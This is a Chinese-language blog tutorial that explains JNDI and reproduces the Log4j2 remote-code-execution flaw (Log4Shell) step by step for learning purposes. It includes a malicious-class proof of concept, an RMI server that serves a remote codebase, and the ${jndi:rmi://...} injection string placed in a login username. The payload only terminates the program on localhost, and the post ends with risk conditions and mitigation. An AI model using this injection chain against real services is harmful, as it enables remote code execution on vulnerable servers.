1 事件背景
經過一週時間的Log4j2 RCE事件的發酵,事情也變也越來越複雜和有趣,就連 Log4j 官方緊急釋出了 2.15.0 版本之後沒有過多久,又發宣告說 2.15.0 版本也沒有完全解決問題,然後進而繼續釋出了 2.16.0 版本。大家都以為2.16.0是最終終結版本了,沒想到才過多久又爆雷,Log4j 2.17.0橫空出世。
相信各位小夥伴都在加班加點熬夜緊急修復和改正Apache Log4j爆出的安全漏洞,各企業都瑟瑟發抖,連網警都通知各位站長,包括我也收到了湖南長沙高新區網警的通知。
我也緊急釋出了兩篇教程,給各位小夥伴支招,我之前釋出的教程依然有效。
【緊急】Apache Log4j任意程式碼執行漏洞安全風險升級修復教程
雖然,各位小夥伴按照教程一步一步操作能快速解決問題,但是很多小夥伴依舊有很多疑惑,不知其所以然。在這裡我給大家詳細分析並復現一下Log4j2漏洞產生的原因,純粹是以學習為目的。
Log4j2漏洞總體來說是通過JNDI注入惡意程式碼來完成攻擊,具體的操作方式有RMI和LDAP等。
2 JNDI介紹
2.1 JNDI定義
JNDI(Java Naming and Directory Interface,Java命名和目錄介面)是Java中為命名和目錄服務提供介面的API,JNDI主要由兩部分組成:Naming(命名)和Directory(目錄),其中Naming是指將物件通過唯一識別符號繫結到一個上下文Context,同時可通過唯一識別符號查詢獲得物件,而Directory主要指將某一物件的屬性繫結到Directory的上下文DirContext中,同時可通過名稱獲取物件的屬性,同時也可以操作屬性。
2.2 JNDI架構
Java應用程式通過JNDI API訪問目錄服務,而JNDI API會呼叫Naming Manager例項化JNDI SPI,然後通過JNDI SPI去操作命名或目錄服務其如LDAP, DNS,RMI等,JNDI內部已實現了對LDAP,DNS, RMI等目錄伺服器的操作API。其架構圖如下所示:
2.3 JNDI核心API
類名 | 解釋 |
---|---|
Context | 命名服務的介面類,由很多的name-to-object的健值對組成,可以通過該介面將健值對繫結到該類中,也可通過該類根據name獲取其繫結的物件 |
InitialContextNaming | (命名服務)操作的入口類,通過該類可對命名服務進行相關的操作 |
DirContext | Directory目錄服務的介面類,該類繼承自Context,在Naming服務的基礎上擴充套件了對於物件屬性的繫結和獲取操作 |
InitialDirContext | Directory目錄服務相關操作的入口類,通過該類可進行目錄相關服務的操作 |
Java通過JNDI API去呼叫服務。例如,我們大家熟悉的odbc資料連線,就是通過JNDI的方式來呼叫資料來源的。以下程式碼大家應該很熟悉:
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<Resource name="jndi/person"
auth="Container"
type="javax.sql.DataSource"
username="root"
password="root"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/test"
maxTotal="8"
maxIdle="4"/>
</Context>
在Context.xml檔案中我們可以定義資料庫驅動,url、賬號密碼等關鍵資訊,其中name這個欄位的內容為自定義。下面使用InitialContext物件獲取資料來源
Connection conn=null;
PreparedStatement ps = null;
ResultSet rs = null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用資料來源
DataSource ds=(Datasource)datasourceRef;
conn = ds.getConnection();
//省略部分程式碼
...
c.close();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}
是不是很熟悉呢?JNDI的其他應用在此我就不多做介紹了,如果還不瞭解JNDI/RMI/LDAP等相關概念的小夥伴請自行百度一下。
3 攻擊原理
下面我以RMI的方式為例,詳細復現步驟和分析原因。解釋基本攻擊原理之前,我們先來看一張時序圖:
1、攻擊者首先釋出一個RMI服務,此服務將繫結一個引用型別的RMI物件。在引用物件中指定一個遠端的含有惡意程式碼的類。例如:包含 system.exit(1) 等類似的危險操作和惡意程式碼的下載地址。
2、攻擊者再發布另一個惡意程式碼下載服務,此服務可以下載所有含有惡意程式碼的類。
3、攻擊者利用Log4j2的漏洞注入RMI呼叫,例如:logger.info("日誌資訊 ${jndi:rmi://rmi-service:port/example}")。
4、呼叫RMI後將獲取到引用型別的RMI遠端物件,該物件將就載入惡意程式碼並執行。
4 漏洞復現
4.1 建立惡意程式碼
建立惡意程式碼相關類,以下程式碼僅供學習:
package com.tom.example.log4j;
public class HackedClassFactory {
public HackedClassFactory(){
System.out.println("程式即將終止");
System.exit(1);
}
}
建立HackedClassFactory類的定義,在建構函式裡寫入終止程式執行的惡意程式碼。
4.2 釋出惡意程式碼
將HackedClassFactory類打成jar包,釋出到HTTP伺服器上,能通過簡單的Get請求正常下載即可。
4.3 建立RMI服務
編寫如下程式碼,並執行程式:
package com.tom.example.rmi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.util.Hashtable;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class HackedRmiService {
public static void main(String[] args) {
try {
int port = 2048; //設定RMI服務遠端監聽埠
//建立併發布RMI服務
LocateRegistry.createRegistry(port);
Hashtable<String, Object> env = new Hashtable<String,Object>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port);
Context context = new InitialContext(env);
String serviceName = "example";
String serviceClassName = "com.tom.example.log4j.HackedClassFactory";
//指定惡意程式碼的下載地址
Reference refer = new Reference(
serviceName,
serviceClassName,
"http://127.0.0.1/example/classes.jar");
ReferenceWrapper wrapper = new ReferenceWrapper(refer);
//為RMI服務繫結一個引用型別的物件,此物件可以被遠端訪問
context.bind(serviceName,wrapper);
}catch (Exception e){
e.printStackTrace();
}
}
}
RMI服務啟動之後,即釋出了監聽埠為2048的RMI服務。
執行 netstat -ano | find "2048" 命令檢驗,得到如下結果,說明RMI服務已經正常啟動,如下圖:
4.4 注入惡意程式碼
下面我們利用Log4j的漏洞注入惡意程式碼,有已知使用者登入的業務場景,小夥伴們先不管它是如何實現的,其程式碼如下:
@RequestMapping(value="/login")
public ResponseEntity login(String loginName,String loginPass){
ResultMsg<?> data = memberService.login(loginName,loginPass);
//演示程式碼,省略業務邏輯,預設為登入成功
log.info("登入成功",loginName);
String json = JSON.toJSONString(data);
return ResponseEntity
.ok()
.contentType(MediaType.APPLICATION_JSON)
.body(json);
}
利用Postman測試,首先正常訪問能得到期望的結果,如下圖所示:
使用者登入成功後會正常返回token,這看上去是一個常規操作。細心的小夥發現,在登入成功之後,後臺會列印一條日誌且輸出登入的使用者名稱。
接下來,我做一個非常規操作。將使用者名稱輸入為 ${jndi:rmi://localhost:2048/example}
我們發現程式已經無法響應,再看後臺日誌,已經終止執行。
這裡僅僅只是演示效果,我編寫的惡意程式碼只是終止程式,如果攻擊者注入的是其他惡意程式碼,那後果將不堪設想。
5 原始碼分析
通過以上案例還原了攻擊者利用Log4j的漏洞對目標程式進行攻擊的完整過程,接下來分析一下Log4j的原始碼從而瞭解根本原因。其罪魁禍首是Log4j2 的MessagePatternConverter元件中的format()方法,Log4j在記錄日誌的時候會間接的呼叫該方法,具體原始碼如下:
從原始碼中我們可以發現該方法會擷取 $ 和 { } 之間的字串,將該字元作為查詢物件的條件。如果字元是 jndi:rmi 這樣的協議格式則進行JNDI方式的RMI呼叫,從而觸發原生的RMI服務呼叫。具體呼叫位置在StrSubstitutor的substitute()方法:
private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<String> priorVariables) {
//此處省略部分程式碼
...
this.checkCyclicSubstitution(varName, (List)priorVariables);
((List)priorVariables).add(varName);
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
if (varValue == null) {
varValue = varDefaultValue;
}
//此處省略部分程式碼
...
}
上述程式碼中的resolveVariable()最終會呼叫InitialContext的lookup()方法:
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
通過斷點除錯,我們確實發現呼叫了RMI服務,下圖所示:
最終惡意程式碼通過RMI載入完成以後,會呼叫javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法載入惡意程式碼,也就是我們之前寫的com.tom.example.log4j.HackedClassFactory類。首先會在嘗試本地找,如果本地找不到會通過遠端地址載入,也就是我們釋出的下載服務,即http://127.0.0.1/example/classes.jar
載入遠端程式碼之後,通過反射呼叫構造器建立攻擊類的例項,而惡意程式碼編寫在構造器中,所以在被攻擊者的程式中間接執行了惡意程式碼。
看到這裡,小夥伴們是不是有種和SQL隱碼攻擊如出一轍的感覺。
5 風險條件
該漏洞需要滿足以下條件才有可能被攻擊:
1、首先使用的是Logj4j2的漏洞版本,即 <= 2.14.1的版本。
2、攻擊者有機會注入惡意程式碼,例如系統中記錄的日誌資訊沒有任何特殊過濾。
3、攻擊者需要釋出RMI遠端服務和惡意程式碼下載服務。
4、被攻擊者的網路可以訪問到RMI服務和惡意程式碼下載服務,即被攻擊者的伺服器可以隨意訪問公網,或者在內網釋出過類似的危險服務。
5、被攻擊者在JVM中開啟了RMI/LDAP等協議的truseURLCodebase屬性為ture。
以上就是我對Log4j2 RCE漏洞的完整復現及根本原因分析,當然最高效的方式還是關閉Lookup相關功能。雖然,官方也在緊急修復,但涉及到軟體升級存在一定風險,還有可能需要大量的重複測試工作。
我在之前緊急釋出的教程依然有效,大家可以繼續參照用最高效可靠的方式解決問題。
【緊急】Apache Log4j任意程式碼執行漏洞安全風險升級修復教程
本文為“Tom彈架構”原創,轉載請註明出處。技術在於分享,我分享我快樂!
如果本文對您有幫助,歡迎關注和點贊;如果您有任何建議也可留言評論或私信,您的支援是我堅持創作的動力。
原創不易,堅持很酷,都看到這裡了,小夥伴記得點贊、收藏、在看,一鍵三連加關注!如果你覺得內容太乾,可以分享轉發給朋友滋潤滋潤!